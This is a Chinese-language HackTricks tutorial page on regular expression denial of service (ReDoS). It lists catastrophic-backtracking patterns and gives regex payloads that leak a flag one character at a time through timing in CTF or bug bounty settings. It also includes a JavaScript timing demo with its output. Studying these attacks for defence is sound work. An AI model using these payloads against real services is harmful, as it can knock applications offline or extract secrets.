Regular expression Denial of Service - ReDoS

正则表达式拒绝服务 - ReDoS

学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

正则表达式拒绝服务 (ReDoS)

正则表达式拒绝服务 (ReDoS) 是指有人利用正则表达式(用于搜索和匹配文本中的模式的一种方式)工作中的弱点。有时,当使用正则表达式时,它们可能会变得非常慢,尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重,甚至在文本大小稍微增加时就会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。

有问题的正则表达式天真算法

查看详细信息 https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

恶意正则表达式

恶意正则表达式模式是指那些在特制输入上卡住导致拒绝服务的模式。恶意正则表达式模式通常包含重复的分组和重复或交替的重叠在重复组内。一些恶意模式的示例包括:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} for x > 10

所有这些都对输入 aaaaaaaaaaaaaaaaaaaaaaaa! 易受攻击。

ReDoS 有效载荷

通过 ReDoS 字符串外泄

在 CTF(或漏洞赏金)中,也许你控制了与敏感信息(标志)匹配的正则表达式。然后,如果正则表达式匹配,使页面冻结(超时或更长处理时间)可能会很有用,而如果没有匹配则不冻结。这样你就可以逐字符外泄字符串:

  • 这篇文章 中你可以找到这个 ReDoS 规则:^(?=<flag>)((.*)*)*salt$

  • 示例:^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • 这篇写作 中你可以找到这个:<flag>(((((((.*)*)*)*)*)*)*)!

  • 这篇写作 中他使用了:^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS 控制输入和正则表达式

以下是ReDoS示例,其中你控制输入和正则表达式

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

工具

参考

学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated